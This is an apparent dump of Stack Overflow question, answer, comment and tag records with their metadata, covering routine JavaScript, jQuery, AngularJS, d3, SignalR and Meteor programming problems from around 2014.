has body: I wrote a sample to do precise this - https://github.com/cwilso/Audio-Buffer-Draw. It's a pretty simplistic demo - you'll have to do the zooming yourself, but the idea's there. 1) Yes, getChannelData returns the audio buffer samples for that channel. 2) Well, that's dependent on how frequent the peaks in your sample are, and that's not necessarily consistent. The draw sample I did does zoom out (that's the "step" bit of the method), but you'll likely want to optimize for your scenario. 3) Half the values are negative because sound samples go between -1 and +1. Sound waves are a positive and negative pressure wave; that's why "silence" is a flat line in the middle, not at the bottom. Code: var audioContext = new AudioContext(); function drawBuffer( width, height, context, buffer ) { var data = buffer.getChannelData( 0 ); var step = Math.ceil( data.length / width ); var amp = height / 2; for(var i=0; i &lt; width; i++){ var min = 1.0; var max = -1.0; for (var j=0; j&lt;step; j++) { var datum = data[(i*step)+j]; if (datum &lt; min) min = datum; if (datum &gt; max) max = datum; } context.fillRect(i,(1+min)*amp,1,Math.max(1,(max-min)*amp)); } } function initAudio() { var audioRequest = new XMLHttpRequest(); audioRequest.open("GET", "sounds/fightclub.ogg", true); audioRequest.responseType = "arraybuffer"; audioRequest.onload = function() { audioContext.decodeAudioData( audioRequest.response, function(buffer) { var canvas = document.getElementById("view1"); drawBuffer( canvas.width, canvas.height, canvas.getContext('2d'), buffer ); } ); } audioRequest.send(); } window.addEventListener('load', initAudio );
type: Answer

http://stackoverflow.com/comment/40484269
has text: @AlexanderNicholasPopa Here's my work, and it seems that your solution doesn't work... [MyExamplePage](http://plnkr.co/edit/BXrXIKx31sK5CyXYGNWZ?p=preview)
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25870176

http://stackoverflow.com/comment/40206844
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25719333
has text: Can you check if it isn't using the `'/:pages'` case? (Place a `console.log()` before `return 'views/'...`)

http://stackoverflow.com/a/25779132
type: Answer
answers question: http://stackoverflow.com/q/25779073
score: 0
has body: get your list parent element (ul), lets call it "menu" for the sake of an answer. var menu = document.getElementById('menu'), width = 100 / menu.length; Array.prototype.slice.call(menu.children).forEach(function(li) { li.setAttribute('style', 'width:' + width + '%;'); });

http://stackoverflow.com/q/25758914
has answer: http://stackoverflow.com/a/25759022
has title: How to implement 'Who is typing' feature via SignalR?
tagged with: asp.net-mvc-4
has answer: http://stackoverflow.com/a/34442203
type: AnsweredQuestion
tagged with: c#
possible better answer: http://stackoverflow.com/a/34442203
tagged with: asp.net-mvc
accepted answer: http://stackoverflow.com/a/25759022
has body: Basically I am implementing a SignalR chat in my website. I can already send messages to all connected users and now I hope to add the "who is typing" feature. I'm trying to add it in the $('#message').keypress function and it works but now I can't send messages to users. What did I do wrong? After remove $('#message').keypress can send message Didn't remove $('#message').keypress cannot send message My html { &lt;input type="text" id="message" /&gt; &lt;input type="button" id="sendmessage" value="Send" class="btn btn-default" /&gt; &lt;input type="hidden" id="displayname" /&gt; &lt;label id="isTyping" /&gt; &lt;ul id="discussion"&gt;&lt;/ul&gt; } Below is the script: &lt;!--SignalR script to update the chat page and send messages.--&gt; &lt;script type="text/javascript"&gt; $(function () { // Reference the auto-generated proxy for the hub. var chat = $.connection.chatHub; // Create a function that the hub can call back to display messages. chat.client.broadcastMessage = function (name, message) { $('#discussion').append('&lt;li&gt;&lt;strong&gt;' + name + '&lt;/strong&gt;:&amp;nbsp;&amp;nbsp;' + message + '&lt;/li&gt;'); }; chat.client.sayWhoIsTyping = function (name) { $('#isTyping').html('&lt;em&gt;' + name + ' is typing...&lt;/em&gt;'); setTimeout(function () { $('#isTyping').html('&amp;nbsp;'); }, 5000); }; // Get the user name and store it to prepend to messages. $('#displayname').val(prompt('Enter your name:', '')); // Set initial focus to message input box. $('#message').focus(); // Start the connection. $.connection.hub.start().done(function () { $('#sendmessage').click(function () { var encodedName = $('&lt;div /&gt;').text($('#displayname').val()).html(); var encodedMsg = $('&lt;div /&gt;').text($('#message').val()).html(); chat.server.sendPublic(encodedName, encodedMsg); $('#message').val('').focus(); }); $('#message').keypress(function (e) { if (e.which == 13) { var encodedName = $('&lt;div /&gt;').text($('#displayname').val()).html(); var encodedMsg = …
score: 10
upvote count: 10
type: Question
answer count: 2
downvote count: 0
tagged with: javascript
favorite count: 0

http://stackoverflow.com/comment/40231026
type: Comment
type: QuestionComment
score: 0
has text: I'm not sure how easy that will be given the size of the site but I can try and throw together something and see if I still get the error and send that your way. As for the float-left every chapter has that, it is for the icon that does the expanding/collapsing to be on the left side of the chapter title. Also, nothing is changing site-wise, the only thing that changes is the scroll bar gets sent to the top.
comment on: http://stackoverflow.com/q/25731947

http://stackoverflow.com/q/25869405
linked to: http://stackoverflow.com/q/2308134
has answer: http://stackoverflow.com/a/25869459
has answer: http://stackoverflow.com/a/25869556
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/2308134
type: Question
tagged with: javascript
has title: How to rewrite this JS to support trim()
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25869478
has body: How can I rewrite the following to do the same thing but to also support trim() for IE. var isAnonymous = settings.requester_name == null || settings.requester_name.trim() == "";
has comment: http://stackoverflow.com/comment/40481504

transclusion
type: Tag
tags question: http://stackoverflow.com/q/25848611
tags question: http://stackoverflow.com/q/25725787
tag name: transclusion

http://stackoverflow.com/a/25775635
has comment: http://stackoverflow.com/comment/40312139
upvote count: 2
downvote count: 1
score: 1
has body: This line is incorrect var img = document.createElementNS(svg, 'image'); You have the namespace right for the svg element var svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg'); so you just need to do the same again for the image i.e. var img = document.createElementNS('http://www.w3.org/2000/svg', 'image');
answers question: http://stackoverflow.com/q/25772742
has comment: http://stackoverflow.com/comment/40311840
has comment: http://stackoverflow.com/comment/40311558
type: Answer

http://stackoverflow.com/comment/40223341
comment on: http://stackoverflow.com/q/25728297
score: 1
has text: The question isn't clear but maybe you want [one](http://api.jquery.com/one/).
type: QuestionComment
type: Comment

http://stackoverflow.com/q/25872726
has comment: http://stackoverflow.com/comment/40488257
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40488203
favorite count: 0
has body: I have two JSON files, which are node-link dumps from NetworkX. One is called force2.json. The other is called arcage.json. The data inside there are essentially equivalent. force2.json contains more node-links than arcage.json, but both were dumped by NetworkX's json_graph.node_link_data(graph) followed by json.dump(jsongraph, open('viz/agearc.json','w')) #(or force2.json) In my javascript file, when I use: d3.json('force2.json', function(d) { console.log(d) }) I can inspect the graph object properly. However, when I do: d3.json('arcage.json', function(d) { console.log(d) }) I get a null return. I cannot explain why - might someone be able to help me with this please? For the record, arcage.json is an undirected graph, and force2.json is a directed graph. The two graphs have essentially identical node-link information, except that arcage.json has an additional text property in the nodes, and an additional text property in the links, which did not give an error when doing the serialization dump from NetworkX. I have also checked the inter-webs for help, and found that I need to have an HTTP server running. I am doing that (python -m http.server in the working directory), and I am working locally only. EDIT: The raw data are available here: arcage: www.ericmajinglong.com/science/minto_america/arcage.json force2: www.ericmajinglong.com/science/minto_america/force2.json
tagged with: d3.js
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40488341
tagged with: python
has comment: http://stackoverflow.com/comment/40488251
has comment: http://stackoverflow.com/comment/40488075
has comment: http://stackoverflow.com/comment/40488109
score: 1
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40488234
has title: Why does d3.json return "null"?
upvote count: 1
tagged with: networkx
type: Question
has comment: http://stackoverflow.com/comment/40488447
tagged with: javascript
has comment: http://stackoverflow.com/comment/40488050
has answer: http://stackoverflow.com/a/25873359

http://stackoverflow.com/comment/40402863
type: Comment
has text: You need to remove jquery 1.4.4, it's very very old and jquery 1.9.1 needs to load BEFORE jqueryui. Also, your booklet.js is a very old version. booklet is at v 1.4.4 now. You are basically loading your javascrpt files in the wrong order. booklet needs to load after imagesloaded.
comment on: http://stackoverflow.com/a/25796576
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40194618
type: Comment
has text: I'm using AngularJS 1.3
score: 0
comment on: http://stackoverflow.com/q/25712888
type: QuestionComment

http://stackoverflow.com/comment/40487752
type: AnswerComment
type: Comment
has text: @Kartikeya Your first answer _is_ redundant. I'm not sure why you insist on keeping your old answers around after you've come up with better ones. You should delete the old answers and keep the good ones. There's no shame in doing that.
comment on: http://stackoverflow.com/a/25860852
score: 0

http://stackoverflow.com/comment/40432543
type: QuestionComment
has text: I want to print the value of source1 to the text area . Pls help, KUDOS in advance!
comment on: http://stackoverflow.com/q/25821401
score: 0
type: Comment

http://stackoverflow.com/a/25773867
has comment: http://stackoverflow.com/comment/40337377
has comment: http://stackoverflow.com/comment/40307954
answers question: http://stackoverflow.com/q/25773621
score: 0
has body: I wouldn't swap css, instead I would make a "base theme" that is the same for all the users and I would apply a "skin" on top of that theme, so you would have a more maintainable code and don't have to remove/re-add stylesheets. So basically I would append a new stylesheet on demend when the user select his favorite skin. Anyway you could easily use a library like https://github.com/carhartl/jquery-cookie if you use jQuery and set or change the value of a cookie on the fly when the user change the skin. Your script could check for that cookie during the page load and append the preferred skin accordingly. ps If you want to avoid FOUC (flash of unstyled content) you need to introduce somehow a loading or do the whole thing server-side.
type: Answer

http://stackoverflow.com/comment/40441228
comment on: http://stackoverflow.com/q/25847079
has text: And after you're done defining `t` inside the function, and evaluating `f`, how do you plan on calling `t`?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40412313
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25830535
type: Comment
has text: Where it throws error? in my plunker or in your local code? Because in my plunker it should be working as it is. The reason is: I do have this part of the code there: `.controller('HomeCtrl', function($scope, $location) {})`. Do you have that as well? `HomeCtrl` is controller name declared in a state def - so it must be injected into our module as well

http://stackoverflow.com/comment/40275449
score: 0
comment on: http://stackoverflow.com/q/25755796
type: Comment
type: QuestionComment
has text: @Darren well, I just wanted to point that out. Code issues can be fixed. Design issues? That's not so easy.

http://stackoverflow.com/comment/40391788
has text: What format are you entering the date info in? The code you are using parses date strings by just passing them into the `Date` constructor. The `Date` constructor expects a [very specific format](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/parse). I suspect it is not working because the date strings you are handing it do not conform to that format, thus `Date` is not producing a valid date object which is causing the comparison function to fail.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25819570

http://stackoverflow.com/q/25824140
score: 1
has answer: http://stackoverflow.com/a/25824199
has comment: http://stackoverflow.com/comment/40400024
upvote count: 1
type: Question
has body: I have 3 tables in my boostrap tab. Each tab as a table. The rows of this table is dynamically generated with csharp asp.net code. Right I Want a scenario were if a user click on the row of the first table, the clicked role of the first table get remove from the first table and is added to the rows of the second table. My challenge as been getting to remove the row after the onClick process. kayode chat 271.0.0.1 Active 9/13/2014 04:15:18 02:52:55 271.0.0.1 My javascript code which I am trying to use to remove the row after the Click event. function updateWaitingState(sender) { var parentid = $(sender).attr("data-parentid"); //alert(parentid); //we are going to remove the role from this field var element = document.getElementById(parentid); element.parentNode.removeChild(element); //This line is a problem says //document.querySelector("tablebody4 first").appendChild(element); console.log(element); }
possible better answer: http://stackoverflow.com/a/25824199
accepted answer: http://stackoverflow.com/a/25824400
tagged with: javascript
answer count: 2
tagged with: http://stackoverflow.com/tag/html
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/40400035
has comment: http://stackoverflow.com/comment/40399242
has answer: http://stackoverflow.com/a/25824400
has title: Trying to remove a child html element with javascript
type: AnsweredQuestion

http://stackoverflow.com/comment/40383861
comment on: http://stackoverflow.com/a/25813871
score: 0
type: AnswerComment
has text: @BenjaminWheeler you can implement a counter anyway, increment it in the rejection handler. A promise rejection handler is exactly like a `catch` handler - the `.then` from that point will run (recovery). If you want to abort a chain simply don't catch the error - handle it at the end of the chain.
type: Comment

http://stackoverflow.com/a/31262745
answers question: http://stackoverflow.com/q/25740452
downvote count: 0
has body: You need a custom build with the gestures module: http://fabricjs.com/build/ When using this the gesture events should be triggered.
type: Answer
upvote count: 3
score: 3

glassfish
tags question: http://stackoverflow.com/q/25836010
tag name: glassfish
type: Tag

http://stackoverflow.com/comment/40479013
type: QuestionComment
has text: It looks like the scrollbar on http://www.anitalernt.de/about-us.html is causing this.
score: 1
comment on: http://stackoverflow.com/q/25868014
type: Comment

http://stackoverflow.com/comment/40355524
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25794931
has text: this will do it pretty well: https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach
score: 0

http://stackoverflow.com/comment/40377072
type: QuestionComment
has text: why do you need to create a big query string when you are using `post`? You aren't even sending data as part of the post
comment on: http://stackoverflow.com/q/25812227
score: 0
type: Comment

http://stackoverflow.com/a/25806597
type: Answer
has body: if it is a php variable - &lt;button type="button" class="btn btn-primary" onClick='window.open("&lt;?php echo $variable; ?&gt;");'&gt;
score: 0
answers question: http://stackoverflow.com/q/25806536

http://stackoverflow.com/comment/40450300
has text: @charlietfl Was just throwing it out there if the only issue was simple javascript to angularJS.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25851609
type: QuestionComment

datepicker
tags question: http://stackoverflow.com/q/25871943
tags question: http://stackoverflow.com/q/25784944
tags question: http://stackoverflow.com/q/25753153
tags question: http://stackoverflow.com/q/25856329
tags question: http://stackoverflow.com/q/25820925
tags question: http://stackoverflow.com/q/25754428
tags question: http://stackoverflow.com/q/25746358
tags question: http://stackoverflow.com/q/25783803
tag name: datepicker
type: Tag
tags question: http://stackoverflow.com/q/25715344
tags question: http://stackoverflow.com/q/25741131
tags question: http://stackoverflow.com/q/25858600
tags question: http://stackoverflow.com/q/25842891
tags question: http://stackoverflow.com/q/25843230

http://stackoverflow.com/q/25720668
has body: I need to dynamically add options to the select tags. Those options I will be fetching it from a file. There can be many selects in the form. Now I need to check all the selects whichever is in the same class If it doesn't have the option which I fetched from the file Then I need to add that option to that particular select. var name = $(this).attr('name'); $('.slct').each(function(){ if($('this option[value="'+name+'"]').length==0) { $('&lt;option&gt;').val(name).text(name).appendTo(this); } }); When I tried the above code, Options are getting duplicated. For example I have 3 select tags. In the first tag I have an option called option1 remaining two tags are empty. Then after the execution of this code. First select tag contains the option1 twice and the remaining two tags contain only once. Can Someone tell me how do I do it ? I am new to jquery.
type: Question
answer count: 1
has title: How can I add only unique options in multiple select tags which are in same class?
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25720752
score: 0
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25720752
type: AnsweredQuestion

http://stackoverflow.com/comment/40278722
has text: Just copy/paste as it is shown above and it will work. If you expect an email to be entered in the input field which has an `id="email"`, then you can do `var email = document.getElementById('email').value`.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25757902
type: Comment

http://stackoverflow.com/a/25802636
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25802424
type: Answer
has body: If the function is not dependent on the directive elements, move that to a service pass it to both directive and the testcontroller.

http://stackoverflow.com/comment/40262084
comment on: http://stackoverflow.com/q/25748995
score: 0
type: Comment
type: QuestionComment
has text: yes,i did.It is in the base.html

http://stackoverflow.com/comment/40269363
type: AnswerComment
comment on: http://stackoverflow.com/a/25752768
has text: put in conditional statements when dealing with different browsers?
type: Comment
score: 0

http://stackoverflow.com/comment/40317917
comment on: http://stackoverflow.com/q/25778397
type: Comment
has text: sorry your fiddle is the same as mine.... did you make any changes to it?
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40443882
comment on: http://stackoverflow.com/a/25848511
type: Comment
has text: I need the hover property on click is there any alternate way to do that.
score: 0
type: AnswerComment

http://stackoverflow.com/q/25722933
tagged with: meteor
favorite count: 0
accepted answer: http://stackoverflow.com/a/25723212
has title: Meteor - how do I make this "reactive" using Deps?
has answer: http://stackoverflow.com/a/25723212
type: AnsweredQuestion
downvote count: 0
score: 7
possible better answer: http://stackoverflow.com/a/25723486
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25723486
answer count: 2
upvote count: 7
has comment: http://stackoverflow.com/comment/49753416
has body: On my client side, I display a list of users and a small chart for each user's points stored in the DB (using jQuery plugin called sparklines). Drawing the chart is done on Template.rendered method // client/main.js Template.listItem.rendered = function() { var arr = this.data.userPoints // user points is an array of integers $(this.find(".chart")).sparkline(arr); } Now I have a Meteor method on the server side, that is called on a regular basis to update the the user points. Meteor.methods({ "getUserPoints" : function getUserPoints(id) { // access some API and fetch the latest user points } }); Now I would like the chart to be automatically updated whenever Meteor method is called. I have a method on the template that goes and calls this Meteor method. Template.listItem.events({ "click a.fetchData": function(e) { e.preventDefault(); Meteor.call("getUserPoints", this._id); } }); How do I turn this code into a "reactive" one?

http://stackoverflow.com/comment/102677212
has text: FYI: This only works over USB - if you're debugging over wifi, Safari won't see your WKWebView
comment on: http://stackoverflow.com/a/25891261
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25741131
answer count: 3
tagged with: datepicker
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/42325794
type: Question
has title: Set Date in datepicker using javascript for webdriver
tagged with: webdriver
possible better answer: http://stackoverflow.com/a/27357057
score: 0
has answer: http://stackoverflow.com/a/27357057
has body: How can we set date in date picker using java script for web driver
has answer: http://stackoverflow.com/a/25763094
tagged with: javascript
accepted answer: http://stackoverflow.com/a/42325794

http://stackoverflow.com/a/25740356
has body: There are duplicate id's in your Html,just correct that issue and try below answer : &lt;script type="text/javascript"&gt; $(document).ready(function() { $('#remove').click(function(e) { e.preventDefault(); var FileName = 'file.doc'; $('input[type="hidden"]').each(function(){ if( $(this).val() == FileName ) { $(this).closest('tr').remove(); } }); }); }); &lt;/script&gt;
type: Answer
answers question: http://stackoverflow.com/q/25740278
score: 0

http://stackoverflow.com/comment/40215894
comment on: http://stackoverflow.com/q/25724356
has text: `row` is already a jQuery collection, theres no need to wrap it again. Also, you spelt `table` incorrectly in your `appendTo()` method, so nothing happens with `row`
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40325713
type: Comment
score: 0
has text: Why would `$('.nav li')` return the LI just clicked? It returns ALL the LIs.
comment on: http://stackoverflow.com/q/25784021
type: QuestionComment

http://stackoverflow.com/a/27552524
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/25722419
downvote count: 0
score: 1
has body: If you have set read/write permissions for all users and your bucket's cors configuration allows PUT requests you should be able to simply do it with ajax: function httpReq(method, url, data, successCB, errorCB) { var xhr = new XMLHttpRequest(); xhr.addEventListener('load', function () { if (xhr.status == 200) { successCB(xhr.response); } else { errorCB({status: xhr.status, response: xhr.response}); } }); xhr.open(method, url, true); xhr.send(data); } httpReq('PUT', 'http://yourBucket.s3.amazonaws.com/yourKey', file, function (response) { console.log('Upload Successful', response); }, function (error) { console.error(error); });

http://stackoverflow.com/comment/40274477
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25755495
has text: $data['rows'][] = array( Date($year, $month, $day), $r['TAKEN'] );

http://stackoverflow.com/comment/40452214
comment on: http://stackoverflow.com/a/25853045
score: 0
type: Comment
has text: Sorry, I will fix the answer
type: AnswerComment

http://stackoverflow.com/comment/40215325
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25724108
type: Comment
has text: This appears to be a game of spot-the-difference, not answer. What did you change? Why should it make a difference?

http://stackoverflow.com/comment/40322766
score: 2
has text: You can't use a function in chaining if it has nothing to do with the chain. `show()` needs to return an object which has a property `functionName`, or a property `namespace`. If it doesn't do that, you can't simply "pull" `namespace.functionName` into the chain.
comment on: http://stackoverflow.com/q/25782338
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40397906
score: 0
comment on: http://stackoverflow.com/q/25823316
type: Comment
type: QuestionComment
has text: What actual problems are you experiencing here? You are already using SQL parameters, single quotes in the input text are *not a problem*; the database adapter takes care of this all for you.

handlebars.js
tags question: http://stackoverflow.com/q/25748891
tags question: http://stackoverflow.com/q/25718855
tags question: http://stackoverflow.com/q/25814796
tags question: http://stackoverflow.com/q/25732148
tags question: http://stackoverflow.com/q/25797586
tags question: http://stackoverflow.com/q/25817107
type: Tag
tags question: http://stackoverflow.com/q/25742179
tag name: handlebars.js
tags question: http://stackoverflow.com/q/25723667
tags question: http://stackoverflow.com/q/25780095
tags question: http://stackoverflow.com/q/25758144
tags question: http://stackoverflow.com/q/25782539
tags question: http://stackoverflow.com/q/25867888
tags question: http://stackoverflow.com/q/25755168

http://stackoverflow.com/a/25867507
downvote count: 1
answers question: http://stackoverflow.com/q/25867407
score: 0
has body: This should work: $reservation=$_REQUEST['reservation']; echo $reservation . "\n"; $reservation=stripslashes(json_decode(html_entity_decode($reservation));
type: Answer
upvote count: 1

http://stackoverflow.com/comment/40250385
type: QuestionComment
score: 1
has text: Just a guess: Escaping? `"a\"a"`
comment on: http://stackoverflow.com/q/25742696
type: Comment

http://stackoverflow.com/a/25816407
score: 0
answers question: http://stackoverflow.com/q/25816341
type: Answer
has body: This loop iterates threw an array containing thumbnails writing HTML code to the document. aThumbs = [ 0, 1, 2 ]; // your array for ( x = 0; x &lt; aThumbs.length; x++) { document.write( "&lt;div class='thumbHolder' id='thumb_" + x + "'&gt;&lt;img src='img/thumb_" + x + ".png' width='100' height='100' alt='title" + x + "' /&gt;&lt;/div&gt;" ); } Since you did not open an A tag I removed the closing tag &lt;/a&gt; Note that this loop starts with index 0, if you want to start with index 1 do this: for ( x = 1; x &lt;= aThumbs.length; x++) JSFiddle DEMO EDIT: I just noticed that you're using 01 and 02 in your HTML, is that the way you want to print the vars? The code given above inserts 1 and 2.

http://stackoverflow.com/a/25724167
type: Answer
answers question: http://stackoverflow.com/q/25723952
upvote count: 1
has comment: http://stackoverflow.com/comment/40215476
has body: you have to do this like below: your HTML Should be: Your JS Should BE: function myFunction() { var testing; if (inact == true) { testing = "are given"; } else { testing = "not given"; //else = not true (false) } document.getElementById("test").innerHTML = testing; } now you will get the proper result.
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40215830

http://stackoverflow.com/comment/40306062
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25772066
has text: Just a little plunker to show how the two different ways will behave with a lot of operations. http://plnkr.co/edit/lb3Cew3j1p5HE5goCgqd?p=preview
type: Comment

http://stackoverflow.com/a/25747630
downvote count: 0
answers question: http://stackoverflow.com/q/25747305
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/40259771
score: 1
has body: I'm a bit confused about what you're trying to achieve, but I think this should do it (whatever it is?!). The only changes I've made is set the callback to a variable and then it is executed if it exists. You'll need to clear this variable then by setting it to null or whatever if you don't want it to execute on future changes (I don't know if you do or not want this.) $(document).ready(function(){ var myCallback; $("#first_select").change(function(){ first=$(this).val(); $.post("test.php",{first:first},function(result){ $("#second_select").empty(); $("#second_select").append(result); alert(2); // Check if there was a callback set that we want to run. if(myCallback){ myCallback(); } }); alert(1); }); $("#second_select").change(function(){ second=$(this).val(); $("#result").text(second); alert(3); }); function a(callback){ // Set the callback. myCallback = callback; $("#first_select").val(1); $("#first_select").trigger('change'); } function b(){ $("#second_select").val(4); $("#second_select").trigger('change'); } a(function(){ b();}); });

http://stackoverflow.com/comment/40483223
comment on: http://stackoverflow.com/q/25834538
has text: http://meta.stackexchange.com/a/25090
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25772852
answers question: http://stackoverflow.com/q/25768145
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25768145
type: Answer
has body: You must think of collision handling as having (at least) two phases : Collision detection and Collision resolution. Here you solve the collision only by changing speed, but both objects might still intersect if one speed is very high : one object might well be inside the other : So you have also to solve position, or, if you prefer 'push' the ligthest object out of the heaviest. You can do this by using a few min/max on the x,y,w,h of both objects. OR, There's another 'dynamic' method to avoid object overlap : Have the collision handling time-driven. Split the collision handling into time sub-steps, making a stop on each collision. You must compute the time when the next collision will happen, then move everyone to that time, then update only the speeds, and do this again until enough time elapsed. So there not even a chance an overlap can happen : you 'stop the watch' on collision, then change speed, then restart time again. And several collision can happen in one frame, a case that won't be handled properly by a single-pass algorithm (case when a ball hit near a corner). An example : Say your game frame time, 'dt' is 16 ms, now you detect the ball hits paddle at 10.2ms -> you make both object moves for 10.2ms (x+=vx*10.2/y...), solve their speed (only), then you ask your collision engine to iterate a further 5.8ms. It's a little work but i did it in my game engine, it works fine. (Hope i've been more helping than confusing... :-) )
score: 0

http://stackoverflow.com/comment/40217401
comment on: http://stackoverflow.com/a/25724584
has text: @KarimDaraf Can you post all your code in jsfiddle. Is jQuery included correctly? Post everything from ` .... `
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40306232
score: 0
comment on: http://stackoverflow.com/q/25773196
type: Comment
type: QuestionComment
has text: There's nothing stopping you to have multiple classes set to a single element. And please, move all these inline styles to a proper stylesheet. Ah, and remove all these useless blank spaces between the attributes.

http://stackoverflow.com/a/25818322
answers question: http://stackoverflow.com/q/25818295
score: 1
has comment: http://stackoverflow.com/comment/40389085
has comment: http://stackoverflow.com/comment/40389065
upvote count: 1
has body: The second way will be fastest. It only needs to go to the event queue once, then it stays in the infinite loop. This will run one function asynchronously, then it will block the UI while it's running. If that's not what you wanted, then this answer isn't helpful. But I assumed that both of your methods did what you want, and you just wanted the version that loops quickest.
has comment: http://stackoverflow.com/comment/40389047
has comment: http://stackoverflow.com/comment/40389128
type: Answer
downvote count: 0

http://stackoverflow.com/q/25730541
tagged with: function
linked to: http://stackoverflow.com/q/939326
downvote count: 0
has comment: http://stackoverflow.com/comment/40227841
favorite count: 0
tagged with: parsing
linked to: http://stackoverflow.com/q/197769
has body: Is there any way to do the following? var value = foo; execute("value = 'bar'"); console.log(value) // returns 'bar' function execute(jsCodeString) { // execute js code }
accepted answer: http://stackoverflow.com/a/25730610
type: AnsweredQuestion
score: 1
has title: Execute JS code from string input
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40228021
possible better answer: http://stackoverflow.com/a/25730579
tagged with: javascript
has answer: http://stackoverflow.com/a/25730579
has answer: http://stackoverflow.com/a/25730610
answer count: 2

http://stackoverflow.com/a/25803656
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25803500
has body: As you said, you would need to use the functions addClass() and removeClass. But you would need to use an id for the button, so you won't interfer with other existing buttons. &lt;a id="myButton"class="btn btn-small btn-block btn-warning" type="button" id="999"&gt;&amp;nbsp;&lt;/a&gt; And then, you call the functions. $( "#myButton" ).removeClass( "btn-warning" ); $( "#myButton" ).addClass( "btn-danger" ); You can also make it just in one line: $( "#myButton" ).removeClass( "btn-warning" ).addClass( "btn-danger" ); Check this JSFidle: http://jsfiddle.net/DTcHh/1085/
upvote count: 2
score: 2

http://stackoverflow.com/comment/40374197
has text: Why not just `$("#menu li.active").removeClass("active");`? I already covered this. This answer does not actually answer the question asked, so should have been a comment. Cheers.
comment on: http://stackoverflow.com/a/25810769
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40267168
comment on: http://stackoverflow.com/a/25751309
type: AnswerComment
score: 0
type: Comment
has text: I can't figure out hot to change `cursor:'wait'` to my spinner.

http://stackoverflow.com/comment/40204612
comment on: http://stackoverflow.com/q/25717188
score: 0
type: Comment
type: QuestionComment
has text: Not sure if this'll work but maybe you can try something like var window = window.open(iframeUrl, "_blank"); window.print(); You won't be able to get src from iframe thou but you might have it in a variable.

http://stackoverflow.com/comment/40286833
has text: No idea not knowing your manifest and the function. Check that you have host permissions and/or activeTab permission. And _debug_. Use Dev Tools on your background page.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25762560
type: Comment

http://stackoverflow.com/q/25837250
type: UnansweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25837285
tagged with: javascript
score: -1
answer count: 1
downvote count: 1
has title: Why can't I pass user input to this directive in Angular?
favorite count: 0
tagged with: angularjs
has body: I'm new to Angular and I'm trying to figure out why the current code, which is supposed to get user input and pass it to the chart directive, is resulting in undefined when I call console.log(foo); inside that directive. Markup: &lt;div class="row" ng-controller="Controller"&gt; &lt;input type="text" ng-model="key" &gt; &lt;div class="col-md-12" chart&gt; &lt;section data="{{key}}"&gt;&lt;/section&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; App.js (function(){ var draw = angular.module('Draw', []) draw.controller('Controller',function($scope) { $scope.key = 'aSampleKey'; }); draw.directive('chart', function(){ function link(scope, element, attr){ var foo = scope.data; //why is this undefined? console.log(foo); } return { link: link, restrict: 'A', scope: {data: "="} }; }); })(); Thanks
upvote count: 0

http://stackoverflow.com/q/25823702
score: 0
has comment: http://stackoverflow.com/comment/40398928
has comment: http://stackoverflow.com/comment/40398824
answer count: 1
tagged with: text-files
has answer: http://stackoverflow.com/a/25823734
type: AnsweredQuestion
tagged with: file
has comment: http://stackoverflow.com/comment/40398605
type: Question
accepted answer: http://stackoverflow.com/a/25823734
has body: I'm trying to create a text file using javascript (online) with the following code: To sign up for the Excel workshop please fill out the form below: Type your first name: Type your last name: However, I receive the error: Uncaught SyntaxError: Unexpected identifier with the set fso line. I hope someone can help me here
tagged with: javascript
has title: Create a text file with JavaScript

http://stackoverflow.com/a/25782268
has comment: http://stackoverflow.com/comment/40325500
upvote count: 1
has comment: http://stackoverflow.com/comment/40323919
has comment: http://stackoverflow.com/comment/40323659
answers question: http://stackoverflow.com/q/25782088
type: Answer
has comment: http://stackoverflow.com/comment/40334080
has comment: http://stackoverflow.com/comment/40324236
has comment: http://stackoverflow.com/comment/40334167
